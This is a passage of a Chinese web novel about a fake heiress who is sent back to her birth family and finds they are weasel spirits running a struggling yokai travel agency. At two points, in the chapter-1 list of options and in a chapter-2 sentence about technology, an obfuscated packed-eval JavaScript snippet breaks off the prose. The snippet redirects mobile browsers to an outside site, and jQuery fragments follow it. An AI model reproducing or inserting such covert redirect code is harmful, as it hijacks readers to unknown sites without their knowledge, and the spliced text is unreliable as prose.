《假千金继承妖怪旅行社后》 1. 狸猫太子 如果问起临城最吸人的热搜,那黄家真假千金事件绝对当居榜首。 可若是什么真假千金对照人生,豪门父母歧视偏心之类的,类似于周家千金、宋家千金等等剧本,已经无法满足临城瓜民刁钻的口味了。 但假千金被揭穿身世后,既没气急败坏地否认一切,也没哭哭啼啼地恳求父母怜爱,反倒是一视同仁地蔑视养父母和真千金。 大瓜! 他们又来了精神。 据流传出来的视频,在黄家豪宅里,黄氏继承人的生日宴会上,夜晚如白昼一般,灯火辉煌。 本该觥筹交错,欢声笑语,黄家父母和真千金哭哭啼啼地闪亮登场,狠狠踩着宴会主角的脸面。 他们抱在一起,痛哭流涕,情“真”意“切”,指天怒骂这偷走一切的狸猫太子。 作为视频的另一个主角,黄家假千金黄千玦,被揭穿真实身份,只不过是个穷山沟里的破落户儿的女儿,霸占着真千金的位子,还妄想继承黄氏企业。 她双腿交叠,一身白色西装,身子微微后倾,手里捏着高脚杯,杯里漾着酒红色液体。 透过玻璃,她面上表情影影绰绰,辨不清底细。 视频拍摄角度刁钻模糊,时不时大频率抖动,伴随着抽气声。 时间只有三分五十三秒。 一边是家人重聚的哭泣与怒斥,一边是带着看戏般的闲逸。 一个戏台之所以能够获得圆满的成功,不只在于演员精湛的演技,还在于观众的捧哏。 黄家父母与真千金演得极为用力,但黄千玦却不买账,从头到尾,吃吃喝喝,只偶尔瞟几眼。 距离视频结束还剩十几秒,黄家父母与真千金的独角戏已经演不下去了,死死地盯着她。 约莫七八秒,黄千玦若有所觉,抬起头,惑道:“结束了?” 敷衍道:“很不错。” 象征性地抬起手,鼓掌。 一个也不多,一个也不少,正正好三个巴掌。 随后,进度条彻底报废。 短短近四分钟的视频,却看得吃瓜群众翻来覆去,抓心挠肝,撒泼打滚疯狂在网上求新教材。 但在舆论中心的黄千玦,心态极为稳定,甚至可以说是如释重负。 自她上学以来,见过别人家的父母,她就一直很疑惑,她这么一个正常的孩子,怎么会有这么极品的一家人? 超雄的爸,动不动就吼人踹人打人,轻则膏药伺候,重则直接进医院。日常警局黑名单。 病娇的妈,一哭二闹三上吊,逼疯别人,屡试不爽。十米之内,小孩老人妇女退散。 红眼发疯的哥,问题学生,校园霸凌,骚扰同学,一个不落。学校警局严加提防的对象。 以及破碎的她。 从小到大,她为这个家操碎了心。 包括但不限于:将爸爸的已经报废的脑子摁进水里,进水的脑子总比废掉的脑子要灵光;将妈妈的脸蛋压在大理石上,好好跟她讲什么是模范三好家庭。 至于哥哥,不打不成器,他值得爱的棍棒教育。 反抗? 黄千玦微笑,那是不存在的。 有时候,她也怀疑,有这么一大家子,她到底正常不正常? 但现在,她的心落到实处。 她很正常。 隔天。黄家大宅,大厅。 黄千玦双手交叠,安静地坐在沙发上。 今天是她亲生父母来接她的日子。 她的养父涂粉抹白,燕尾西装,浮夸的高顶礼帽;她的养母头插羽毛,面覆黑纱,抹胸鱼尾长裙袭地。 真千金黄云妍也不遑多让,满头羊毛卷,一颤一颤的,绣花小礼服着身。 哥哥出国旅游,不在国内。 三人争奇斗艳,一定要给黄千玦一家一个永生难忘、痛哭流涕的下马威。 想抢他们的家产,找死呢! 黄千玦:“……” 这个大厅看似有六个人,其实只能算三个。 黄云妍扑到黄母怀里,泪水涟涟:“他们家就不是人,不把我当人看,一个劲儿地虐待我……” 黄母怜惜地拍了拍她的肩膀:“我可怜的女儿,回家了就不用受苦了。” “他们就是想拿捏我,要挟你们,心思毒着呢。” 黄千玦的母亲黄云霄,一直以泪洗面,闷不吭声,听到这话,又惊又怒。 “我们要拿捏你要挟你,就不会花心思养你长大,就不会千里迢迢带你来认亲生父母!” 黄千玦的父亲黄成立在她身前,护着她,也是一副怒不可遏的模样。 黄父冷哼:“还不是为了钱!” 他才不在乎谁是真女儿,谁是假女儿,只要能给钱,就是好女儿。 黄父早年跟他们一样,不晓得钱的妙处,成日里跟父母作对,等到他父亲一去世,母亲就马不停蹄地把他赶出家门,只给他们一栋房子和每月的零花钱。 他母亲尚且会念着母子亲情,但黄千玦这白眼狼可就不一定了。 黄成、黄云霄夫妻气得捂住胸口,心里一阵阵发冷。 气氛霎时间冷了下来。 “道歉。” 如晴天惊雷,惊得众人纷纷转头。 黄云妍咬唇,恨声道:“你恨我,恨我抢回了本属于我的位子。” 黄云妍是山里养大的,裸露在外的皮肤却意外的白皙柔嫩,眼睛水灵灵的,鬓角的碎发微微蜷起,显得极为楚楚可怜。 黄千玦语气波澜不惊:“我不恨你,但你必须对抚养你长大的人道歉。” 黄云妍气笑:“我?道歉?没门!” “他们是什么东西!他们就不是人,就是怪物,就是一窝……” 蓦地,她面色涨红,掐住自己的喉咙,说不出话来。 是他,绝对是他!肯定是他对她动了手脚。 她的脑海里浮现了一张她永远不想回忆起的脸。 在他面前,她就像是一个无处躲藏的小丑,她的虚伪与丑陋暴露无遗。 黄成、黄云霄面色瞬间煞白,视线在黄云妍、黄千玦之间移动,最终惊恐而担忧地望向黄千玦。 黄父怒骂:“孽女,你又使了什么把戏?!” 黄千玦慢条斯理地反问:“我需要?“ 分明是黄父站着,黄千玦坐着,可他硬生生感觉到,一种居高临下的被俯视睥睨的憋屈。 恰时,管家推着半人高的行李箱,从楼梯上下来。 黄父慌不择路,抓住她的把柄似的,指桑骂槐:“蠢货!谁让你收拾的?一切都是黄家给的,她什么都不能带走。” 管家:“……” “这是董事长专门送给黄小姐的。” 潜台词:你没有任何处置的权利。 想到母亲,他立刻偃旗息鼓,像霜打的落叶,蔫蔫的。 黄千玦转向管家,问道:“厉叔,我想问你一些问题。” “当然可以。” “我们以前住在哪里?” “春熙南禾苑。” 临城中等偏上的小区,远远比不上他们现在居住的豪宅。 黄千玦补充:“准确地说,十岁以后住的是城中村。” “什么时候搬进这间别墅的?” “在小姐被长风大学金融专业录取之后。” 长风大学,国内顶尖top大学之一,它的金融专业全国排名第一。 “为什么搬进这间别墅?” “董事长认为,千玦小姐行事稳重,能力出众,是唯一值得培养的继承人。” 宋隐女士,现任黄氏董事长,与前任董事长共同创业,结婚生子。在前任董事长去世后,全权接手黄氏,一手遮天。 面临唯一继承人无能又自以为是的情形,明智的资本家们一般会有以下五个选项,宋女士也不例外。 A:强行扶持孩子上位,笑看商业帝国被瓜分(儿子脑子有病,死得更快) B:寻找能力卓越的“托养”对象(儿媳跟儿子一路货色) C:扔大号,练小号(即将喜迎七十大寿的宋女士囧) D:废太子,立皇孙(孙子跟他老爹一副德行) E:雇佣职业代理人,设立信托基金(曾被儿子指着鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590148|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂得狗血淋头的宋女士冷笑) 宋女士:…… 这五个选项都对她充满了恶意。 宋女士她偏要选F选项。 宋女士当时发现黄千玦,这朵出淤泥而不染的荷花,不亚于粪坑里挖到黄金,匪夷所思,难以置信。 厉管家便是她派来照顾黄千玦的。黄家的孩子可以散养,但黄氏继承人不可以。 黄千玦笑吟吟地盯着黄父黄母,“我要是你们,现在就该夹着尾巴做人,乖乖等着宋女士出差回来,免得再被扫地出门。” “我们不妨来猜猜,这次被扫地出门后,你们还有容身之地吗?在你们赌输了一幢房子之后。” “这肯定很有意思。” 她认同地点点头。 不知何时,她左脚叠于右腿上,手臂随意地舒展,眉眼带笑,笑容却不达眼底。 黄父蓦地出声大吼。 “闭嘴!” “闭嘴!” “闭嘴!” 他面色羞愤,张口欲言,却又说不出话来,憋得脸色发白,额头冒汗,像是见到了阴森森的索命鬼。 黄云妍却不以为意。 外人眼里,她奶奶冷酷严苛,可她奶奶再冷酷无情,也不至于对亲儿子也如此。 黄千玦对此,莞尔一笑,事实会教他们做人的。 转头对亲生父母道:“我们回家吧。” …… 车窗外,浓绿斑驳,凉风徐徐,明亮的光线透过树荫,在她深蓝牛仔裤上涂了几个亮斑。 她的家,位于一个小镇,四面环山,冬暖夏凉,一个原生态的天然氧库。 驶入小镇,与天际接壤的浓绿才慢悠悠地散去,露出鲜活热闹、生机勃勃的小镇,耳边是琐碎的,但带着盎然生气的小鸟般的叽叽喳喳。 忽地,她身子挺直,望向左前方。 一只小狐狸,毛皮赤红,在阳光下是近乎透明的金色。脖子上挂着一个红色锦囊,在水泥路上,蹦蹦跳跳,像一团闪闪发光的金色毛球。 跳到一家卤味店前。立起身子,前腿扒拉着窗口,狐嘴一张,劈里啪啦地倒头就骂。 “瘪三,你不道德,居然给我缺斤少两,你比狐狸还狡猾,还不要脸!” “这事不解决,我绝不放过你,我爸妈不放过你,我一家子都绝对不放过你!” 周围的人瞧见一只口吐人言,嘴里骂骂咧咧的小狐狸,也没做出任何奇怪的反应,就像流水从高处往低处流一般自然。 反倒是车上这三人——司机、黄成、黄云霄,更为紧张。 黄成、黄云霄紧张地搓着手,有一搭没一搭地强行找黄千玦聊天。 司机手一抖,拐了个弯,转进一条安静的街道,将那条繁华热闹的街道和骂骂咧咧的小狐狸抛掷脑后。 黄千玦坦然地一笑而过,似乎没有发现任何奇怪的事物。 在由于尴尬而显得漫长的对话中,他们终于到家了。 绿墙红瓦,不如临城黄家豪宅的气派恢宏,但却如小家碧玉一般令人舒心喜爱。 或深或浅的爬山虎爬满墙壁,随风摇曳,带起一片密密的沁凉。在绿意中,若隐若现地出现一行字:点绿旅行社。 此时,黄千玦手指搭在车把手上,犹豫不决。 黄成、黄云霄显然也面临了和黄千玦一样的问题。 车窗外,亲朋好友穿红着绿,涂脂抹粉,花枝招展,眯着两条细缝似的眼睛,迎了上来。 路人暗地里拿眼觑他们。 二人对视一眼,想起临城一家三口,尴尬般的酥麻从脚底板直冲天灵盖。 他们是见过世面的,临城黄家的着装透着股不合时宜的雅极而俗,但他们的亲朋好友则土得难以言喻。 但不管怎么说,土得还挺大红大紫,招人喜欢的。 对吧? 他们心里没底,但嘴上安慰道:“千玦别怕,叔叔阿姨们还是很喜欢你的。” 黄千玦笑笑不说话。 如果对方的毛茸茸大尾巴不在背后一扫一扫,扬起大片大片灰尘的话,她会更安心。 灰尘呛鼻。 2. 喵喵喵喵 一下车,亲朋好友蜂拥而上,将她围在中间。 下一秒,一顶由各色小花编成的花冠就带到她的头上。 黄成留在车内,给司机付钱。 黄云霄跟黄千玦一同下车,笑吟吟的,结果瞥见胡三婶的尾巴露在外边,瞬间变脸,冲上前去。 她硬是挤出一条道,顶了一下挤在最前边的胡三婶。 胡三婶约莫四十出头,珠圆玉润,头发盘起,几簇鲜花插在发缝间,穿着鲜亮的碎花裙。 一条蓬松柔软的赤红尾巴从裙底钻出,几个甩尾,赤红尾巴灰了大半。 黄云霄跟她咬耳朵:“三婶,尾巴,尾巴!” 胡三婶连声应道;“三婶明白,你放心。”收了尾巴。 黄云霄、胡三婶觑了一眼黄千玦,见她垂着头,全神贯注地欣赏新收到的礼物,似乎没注意到异样。 二人松了口气。 黄千玦叹了口气,带上笑容,重新跟她亲戚朋友对视。 她一向都赞成,装聋作哑也是需要一定演技的。 尤其是你的表演对象漏洞百出的时候。 众人围着黄千玦进到屋里,才慢慢散开。 黄千玦这才发现,一直在外围蹦着跳着,试图靠近她的小动物。 细长条,到她小腿肚,耳廓偏圆,黄褐色毛发,面部偏暗,但鼻子一圈和下颌是雪白绒毛。 头上顶着一个金元宝,外穿浅红针织小马甲,胸前挂着一颗金铃铛,背后松垮垮地系着一个红色大蝴蝶结。 眼睛乌溜溜的,涉世未深。它是只小黄鼠狼。 但大家散开了,它又犹犹豫豫,迟迟不过来。 黄千玦单膝跪地,向它招手。一只前爪忐忑不安地伸过来,又收回去,来来回回几次。 小黄鼠狼眼睛瞪得大大的,有些害怕地盯着黄千玦。 黄千玦一笑,主动伸手,虚虚地握着它的前爪,心里软成一汪春水。 她笑着捏了捏它的软垫,“很像招财猫。” 小黄鼠狼紧绷的神经瞬间展开,转了转紫葡萄似的水润润大眼珠,灵机一动,“喵!” 黄千玦:?!! 直接跳到她脸上了,她要怎么装聋作哑? 亲朋好友笑得一脸幸福甜蜜。 瞧瞧这对姐妹,刚回家就相处得很不错,肯定不像之前那个坏孩子。 黄成提着一大一小两个行李箱进门,结果和黄云霄一样,吓得丢了三魂七魄。 宝贝!你是只黄鼠狼,不是猫啊! 小黄鼠狼黄云弦则兴奋地连叫几声:“喵喵喵喵!” 人类是很喜欢招财猫的,她特意打扮得像只金灿灿的招财猫。 新来的姐姐说她像招财猫,那就代表姐姐也很喜欢她。 她又卖力地叫了几声。 仅留黄千玦、黄成、黄云霄头脑风暴,想出对策,敷衍过去。 黄千玦笑容干巴巴:“看来,她外语学得还不错嘛。” 这答案,以往她听了,她都不会信的,只会怀疑对方的智商。 黄成、黄云霄胡乱地点头,嘴里“嗯嗯”几声。 一干亲朋好友这才意识到发生什么,在人的视角里,黄鼠狼怎么可能会猫叫? 他们跟着黄成、黄云霄夫妻煞有其事地点头。 晚餐结束,黄云霄先引黄千玦去她的房间,又跟黄成一起去送客。 她的房间宽敞,窗户正对着绣球花,硕大的浅粉色绣球花缀在绿叶枝头。 微风一吹,底下大片大片的浓绿映入眼帘。 就跟这个小镇一样,绿意满屋。 这里的夜晚,意外的让她觉得心安。 黄千玦摘下花环,放好礼物后,蹲到地上,打开厉管家给她收拾的大行李箱。 她其实并不意外,自己多年来的人类认知被打破,就跟她生日宴会上黄父黄母说她不是他们的亲生女儿一样,接受良好。 因为只有如此,才能解释得清楚,发生在她身上的一切不合理的地方。 首先,她自我认知很正常,而临城黄家是一群神经病。 她相信,即便是妖怪,也会分正常妖怪和神经病。 其次,哪家的姑娘八岁就能摁倒一家,且对方毫无还手能力? 第三、她的五感极为敏锐。 比如说现在,她妈妈现在拉着胡三婶聊天,她听得一清二楚。 妈妈忧心忡忡地说:“三婶,下次再见到千玦,你可要注意点,别漏泄了。” 三婶说:“安啦,安啦。你三婶的为人,你是顶清楚,十里八县最靠谱的!” “我明早就去丰饶街,他们都装得人模人样的,我倒要学学!” 她话题一转,舔了舔嘴唇,暗示道:“不过你家黄成炸得鸡块,还是很不错的。” 妈妈拍了拍三婶的手。 实际上,她同妈妈和胡三婶隔着起码有百米以上的距离,她们在街尾谈话,音量不大。 人类显然听不到。 黄千玦不打算主动跟父母说,他们还没有熟悉到一切事情都能坦然相告。 这本身也不算一件必要的事。 黄成早早回屋,在厨房里哼着歌洗碗。 啪嗒。 黄云霄进屋的脚步声。 “云弦!妈妈怎么跟你说的?” “你还没有化形,是不可以在姐姐面前学猫叫,也不能说人话。” 云弦委屈巴巴地哼唧几声,蹬蹬跑开。 黄云霄叹气,去厨房和黄成一起洗碗。 随后,“咚咚”。 她的房门被敲响。 黄千玦开门,空无一人。她了然地低头,对上一双乌溜溜的大眼睛,笑道:“要进来吗?” 云弦依旧穿着她的浅粉小马甲,戴着金铃铛。 她点点头,蔫巴巴的。身子往前一倒,牢牢扒住姐姐的小腿。 黄千玦笑着抬起脚,关上门。 黄千玦走到行李箱边,才把云弦从小腿上提溜下来,放到一边,自己继续整理行李箱。 云弦的两个小爪子搭在行李箱的边缘,缩成一团,一动不动地瞪着大眼睛,安安静静地看着黄千玦收拾。 黄千玦内心柔软,忽地灿然一笑,从行李箱里拿出一个水晶球,举到云弦面前。 “第一次给你送礼物,不知道你喜不喜欢?” 水晶球里是浩瀚深邃的宇宙,宇宙中心是一颗荒芜星球,只有一朵玫瑰花摇曳。 云弦眼睛瞪得更大,溢满惊讶和欣喜,一蹦三尺高,几乎要大叫着“喜欢喜欢”,又想起不久前妈妈的告诫,忙不迭地捂住嘴巴。 她现在是不能够跟姐姐说人话的。 她歪着脑袋想了想,往前飞扑,贴在水晶球上,幸福地喵喵叫。 学猫叫总没问题了,她下午都在姐姐面前叫过,都没事的。 黄千玦早见怪不怪,揉了揉她柔软的脑袋。 十点,黄云霄敲门,带走昏昏欲睡的云弦,黄千玦入睡。 隔日一早,黄千玦拒绝了妈妈带她逛街的邀请,而是留在家中,和云弦一起玩耍。 但说是陪云弦玩耍,其实也不算。 她拉过竹椅,在院子的阴凉处,懒洋洋看书;云弦则扑花捉蝶,一扑一捉间,院子里伏倒一片。 但无论是黄千玦,还是黄云霄都没有在意,小孩子天性就是爱玩爱闹,花倒了,重新栽就是。 至于黄成,他走街串巷,发传单去了。 他们家经营着一家旅行社,眼见着暑假快到了,一大批小神兽要被放出笼,他们要趁着这段时间多揽些客户。 黄云霄留在家中,照看旅行社和姐妹俩。 科技的广大神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590149|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通早已在这个四面环山的小镇大显神威,但小镇之所以还是小镇,而非城市,关键也在此。 小镇大多数居民仍坚持老一套,拒绝科技;愿意拥抱现代科技的,早早离开小镇进入大城市。 在这一点上,人类和妖怪几乎没有两样。 小镇依旧宁静平淡,充满鸡毛蒜皮的事,慢悠悠地向前。它像一张泛黄的老旧照片,被深深地压在抽屉的底部,少有人问津。 但科技的闯入仍给这个小镇留下了不可磨灭的痕迹。 比如说黄家的旅行社。 黄成的父母最初建立点绿旅行社,以为点绿旅行社的兴盛跟他们黄鼠狼最喜爱的食物一样,几千年不变。 但点绿旅行社已经日薄西山,不再是小镇居民日常和假期旅游的首选。 不少成精的妖怪,离开小镇、山林、河湖,在人类城市建立妖怪旅行社,学习人类旅游社,推出的旅游项目内容更丰富,花样更多。 小镇居民如果有能力,更乐意选择城市妖怪旅行社。 初来乍到的黄千玦对此一无所知,黄氏夫妻也不会主动跟女儿说。 他们认为,为人父母,自己累点,不算什么,总要尽可能给孩子们提供一个无忧的环境,这是他们朴素直白的爱。 黄千玦安静地看书,忽地,她抬起头,长长的睫毛微翘,视线落到房子的拐角处。 五秒之后,一只小狐狸蹦蹦跳跳地出现,胸前挂着红锦囊,赤红尾巴摇摇晃晃,尾尖一簇雪白。 是昨天街上看见的那只小狐狸。 “云弦!我们去发传单吧!” 但小狐狸一瞧见她,急忙刹住脚步,险些滚成一团。 他登时横眉竖目,大叫:“呔!又是你这个可恶的人类!休想伤害云弦!吃我一拳!” 黄千玦指尖压着书页,老神在在的,云弦却嘭得炸开全身毛发,飞快蹿到黄千玦的身前。 “什么人类?那是我姐姐。”小嗓音清脆圆润,像大珠小珠落玉盘。 不像小猫叫的时候,掐着嗓子,嗲嗲的,甜到她的心尖上。 云弦大声斥责完小狐狸,把小狐狸唬得一愣一愣的,这才后知后觉地意识到,她好像,又,没听妈妈的话。 身子一下子僵住,眼珠子轱辘轱辘地转,她装模做样地捡起一个淡粉绣球花,朝小狐狸身上掷去,“看我不收拾你!” 绣球花一碰到小狐狸,立刻炸开,花瓣纷纷扬扬。 小狐狸嗅到花香,原地追着尾巴转,连打几个喷嚏,晕乎乎的。 云弦往前一扑,用脑袋顶住小狐狸,团出一个狐狸球,有她两个黄鼠狼那么大。 她气势汹汹地推着狐狸球,往院子外边走,梗着脖子,倔强地不回过头,不去看姐姐。 好像她不去看,一切就无事发生。 黄千玦狠狠咬住下唇内侧的软肉,这才没笑出声来,作为姐姐,她还能做什么呢,当然是陪着妹妹把戏演完。 状似困惑而又不失感激佩服地“呀”了一声,低低赞叹:“好厉害啊!” 果然,云弦得意洋洋,炫耀似的挺了挺胸脯,却猛不丁的一脚踩空,惊叫一声,骨碌碌地往前滚,倒比狐狸球还先滚出院子,撞到爬满爬山虎的墙上。 两个毛团子眼冒金星,瘫在地上,变成了两滩毛茸茸的液体。 黄千玦微翘的唇角僵住。 最后还是她起身,捞起两个蓬松柔软的“小球球”。黄千玦颠了颠两个小家伙,笑眯眯地往回走。 却瞧见妈妈在前方张望,应该是云弦的叫声惊到她了,她不放心,从前厅过来。 黄千玦正要笑吟吟地迎上去。 小狐狸在她怀里哼唧哼唧:“云姨。” 小黄鼠狼在她怀里嘤嘤嘤:“妈妈。” 现在轮到黄千玦骨碌碌地转着眼珠子,快速思考对策。 3. 点绿旅行社 黄千玦像是被抓包一般:“就像你看到的一样,就这样,妈妈。” 他俩堵死了她的后路,她几乎无力狡辩。 黄云霄视线在三者之间来回移动。 即便她再不了解目前的情况,可看见千玦笑眯眯地抱着两个小捣蛋鬼,黄云霄也能猜到发生了什么。 可今天她才发现,千玦对云弦的亲昵纵容,与之相比,却对他们夫妻很有礼貌,但这种礼貌在亲人间则显得疏离生分。 现在黄云霄回头一想,估计千玦在云弦学猫叫的时候,就猜到一切了。 黄云霄目光审视地盯着黄千玦。黄千玦一时头皮发麻,头一次体会到了手足无措。 但黄云霄什么也没说,只挥挥手,示意她跟过来。 黄千玦捏了捏帆布小包,里面装着一叠广告纸,墨迹清晰,图片色彩明亮。 云弦和小狐狸两个小捣蛋鬼已经彻底清醒了,知道自己犯错了,乖乖地蹲在地上,脑袋垂得低低的。 他们接过黄云霄递来的帆布包,斜挎在腰间。 云弦的帆布包要比小狐狸的要小一倍,广告单也是双面折叠。 黄云霄在他们三妖面前,来回踱步,云弦和小狐狸心脏怦怦直跳,心里默念,别站在我面前,别站在我面前。 嗒。 黄云霄停在黄千玦面前,云弦、小狐狸长舒一口气,后怕地拍了拍自己的胸脯。 黄云霄伸手想去摸黄千玦的头,但最后收回手,笑道:“那就麻烦千玦照看好两个小家伙,千玦也可以好好看一看,我们的家乡是什么样子的。” 黄千玦微微一愣,随后弯唇笑道:“我会的,妈妈。” 下午两点,太阳悬挂,光芒柔和,像柴堆烧尽后的点点火星,温暖却不灼人。 云弦和小狐狸斜挎着帆布包,手拉手,哼着歌,走在黄千玦前面,一点儿也不为之前的打闹生分。 黄千玦落后几步,细细观察这个街道,有“人”,也有妖怪,除了他们会说话,这个妖族小镇就跟最普通的人类小镇一模一样。 闭塞,落后,宁静,和谐,以及一种从骨子里渗出来的慵懒迟钝。 甚至也有人类爱看热闹的本性。 黄千玦闭眼,复又睁眼,压下胸口涌上来的不自然。 她也知道她刚来这个小镇,是一个生面孔。但她的人形跟任何一个妖怪化成的人形一模一样,看多了也就那样。 为什么每一只妖经过她时,总要装作云淡风轻却极为刻意地瞟一眼? 他们的眼珠子都快黏到她的身上了。 生平头一次做妖怪,她还没找到自己的节奏呢。 细细簌簌的声音传来。 “从没见过她,她就是大人说的那个孩子?” “黄家那小丫头走在前面呢!肯定是那孩子!” “可她看着跟我们也没什么区别,怎么就得到大人的青睐了?”语气酸酸的。 “话说黄家这么急着接回来吗?一个星期都不到,听说赶路程就要将近一天的时间。” “你这就落伍了,我听我姨的三姑的表姐的邻居说,当时大人说完,黄家夫妻要哭不哭,要笑不笑的,结果那人类女孩倒立刻哭着闹着,逼黄家夫妻当天就出发,去什么地方寻亲。” “没良心啊!这么多年的感情。” 大人?谁是大人?这个大人在整件事情中扮演了什么样的角色? 黄千玦垂眸深思。 “姐姐?”云弦忽地回头道,“你怎么愣在哪儿?我们快到丰饶街了。” “没事。”黄千玦笑着安抚她,“云弦,我问你一个问题,你知道大人是谁吗?” “大人啊。”云弦露出粉嫩的门牙,稚嫩的嗓音里透着股亲昵。 “大人就是大人,大人无所不知。” “他就像爸爸妈妈一样爱我!”她极为笃定。 “也跟姐姐一样!”她捂着发烫的脸,眼睛从指缝里偷偷地看黄千玦。 “他不只爱你,也爱我。”小狐狸火急火燎地打断她,为着一个口头存在的“大人”。 一争论起大人的爱,两只小妖怪立刻甩开手,往后猛地一跳,龇牙咧嘴,势同水火。 但挑起纷争的罪魁祸首黄千玦,反倒笑眯眯的,一手一个,揪住两只小妖怪的后颈毛,扔进怀里,两团毛球瞬间偃旗息鼓。 “我们先去丰饶街吧。” 她不怀疑信息的真实性,虽然两个小家伙传达出来的信息零碎、模糊,但提到了非常关键的两点。 第一,他无所不知。 黄千玦只想到一个妖怪。 其次,他既爱云弦,又爱小狐狸。 她不认为一位能被尊称为“大人”的妖怪的爱,会是男女之爱、友谊之爱,亦或父母之爱。 她更愿意理解为,这种爱是悲悯,是一种广博平等的爱。 如果是那个妖怪,一切都说的通了。 没想到传说中瑞兽居然行走于世间。 当妖怪,其实还挺不错的。 两个小家伙在她怀里,正赌着气,背对着背,谁也不理谁。 小狐狸突然从她怀里冒出头,抖了抖耳尖,别别扭扭道:“千......玦姐......姐,你走过头了,前一个街头拐过去直走。” 黄千玦恍然收住脚步,应道:“好!” 丰饶街。 街道两旁熙熙攘攘,传来一声高过一声的吆喝声,以及发动汽车的引擎声。 他们到了。 黄千玦之前走过的街道,有“人”有妖,几乎没有哪一方占绝对的数量,而丰饶街则几乎都是“人”。 想来她父母第一次带她回家,走的就是丰饶街,只不过碰上了小狐狸这个变数。 云弦在黄千玦怀里扭了扭,踢了踢小狐狸的后腿,找了个舒服的位子。 云弦仰头,瞧见姐姐发愣的表情,尾巴得意地翘了翘,有些乐陶陶地想,她也能帮上姐姐的忙了。 “姐姐,丰饶街就是这个样子。” “因为不是所有妖怪都乐意跟人类接触,也不是所有的妖怪都能化成人形。于是就有了丰饶街,专门面向人类,跟人类交易。” “这里基本上都是装成人的妖怪,和少数能跟妖怪和谐相处的人类。” “虽然那些人类不害怕,但是变成人形,能让可爱的妖怪更有威严,让可怕的妖怪不那么吓人。” 黄千玦笑着挠了挠云弦脖颈处的绒毛,云弦舒服地咕噜咕噜叫。 黄千玦放下云弦和小狐狸,俯身叮嘱道:“发传单的时候,小心点。” 小狐狸抢在云弦之前,拍了拍胸脯,保证道:“我们常来,很熟悉的。拉面店的山羊奶奶常常给我们塞茶叶蛋吃,可卤味店的猪老板可坏了,上次还给我缺斤少两的!” “是吗?”黄千玦一视同仁,笑着捏了捏他的脸颊。 三妖一散开,就有一群妖怪和人一窝蜂地涌了上来,围着黄千玦,水泄不通,两个小家伙立刻被挤到圈外。 他们比之前窃窃私语的人更为大胆直接。 黄千玦像是动物园里的大熊猫,每个人都想上前和她说话、握手和拍照。 嘴里还啧啧称奇。 黄千玦瞬间头皮发麻,喝退他们,但不起作用。 等到他们看够了,才慢慢散去。 但这一波人也将她手里的传单清得一干二净,也不算没有收获。 短期内,她是不想同时跟超过五十人的群体接触了。 她缓了一会儿,起身寻找云弦和小狐狸,从街头走到街尾,一无所获。 黄千玦眉头蹙起。 “你是点绿旅行社老板的女儿吧。”一个苍老的女声叫住了她。 对方衣服干净齐整,满头白发,却精神矍砾。 黄千玦迟疑道:“你是他们口里的山羊奶奶?” 山羊奶奶点头:“你在找云弦和出阳吗?你沿着这条街直走,走到尽头,再左拐,他们应该就在最大的那幢房子里。” 胡出阳是小狐狸的大名。 她委婉暗示:“云弦、出阳和那家的孩子一向不对付。” 黄千玦点头,匆匆丢下一句“谢谢”,快步离去。 小巷尽头,一幢带院子的气派房子。院子里栽满了朱丽叶玫瑰,奶杏色花瓣,层层叠叠。 这里是朱千的家。 朱千原形是一只鸟,羽毛很有特色,纯白得像柔软的棉花糖,不像她和胡出阳的原形。 她、胡出阳和朱千,之前都是化不了形的小妖怪,在没彻底闹掰之前,他们抱团取暖。 妖怪法明文规定,限制未化形小妖怪出现在人类世界,如果出现在人类世界,必须要有监护人担保陪行。 云弦一直觉得这个条款很不近妖情,但没有办法,太聪明的小妖怪不像普通动物,会吓到甚至伤害人类的。 她之前跟姐姐说过,不喜欢人类的妖怪不爱往丰饶街走,没有化形的小妖怪也不会往丰饶街走。 没化形的小妖怪有一部分讨厌人类,也有一部分不讨厌人类,但他们化不了形。 他们跟人类交谈再多,他们也无法真正进入人类世界,久而久之,他们也就不愿意去了。 她、出阳,以及朱千就属于后者,但他们很喜欢到丰饶街去,一直都没有变过。 如果可能,他们也很想到人类世界生活,跟人类交朋友。 但他们不能。 家中旅行社光景还好时,每逢假期,爸爸带队旅游,经常将她和胡出阳一起捎上。 人类有句很有名的话叫“不到长城非好汉”;在妖族,也有一句类似的话,“不上五岳非好汉”。 她可是妖族顶呱呱的小妖怪,毕竟谁能像她一样,小小年纪,就跟着爸爸妈妈爬遍五岳了! 但近几年家里生意不好,裁员、削减项目、客人稀少...... 虽然她的日常生活没什么变化,但她越来越少跟着父母外出带队旅游了,这几乎是她唯一能接触人类世界的渠道。 所以她和出阳很努力地帮家里发传单,在妖怪群里狂刷消息,求同学帮忙宣传。 朱千家里也是开旅行社的,不过他家的旅行社是开在人类大城市里的,要比云弦家的旅行社规模大得多。 但没化形的小妖怪在大城市里是很惹眼的,朱千五六岁时,就被他的爸爸妈妈送回来了。 朱千在没化形前,常常抹着眼泪说,希望他们能一直做朋友。 可一等到化形检测结果一出来,他立马收拾好包袱,也不说声再见,直接搬到城市里,跟父母一起住,从此音讯全无。 呸! 云弦暗啐一口。 她就没见过这么虚伪的人。他这次回来,又想干什么? 朱千耷拉着眉眼,装得可怜兮兮,“我这次回来,是想见见老朋友的,为什么要防备我?” 小狐狸急得想立刻扑上去,但云弦伸手拦下。 云弦眼神不善地盯着他,“你找我们,就为这事?” 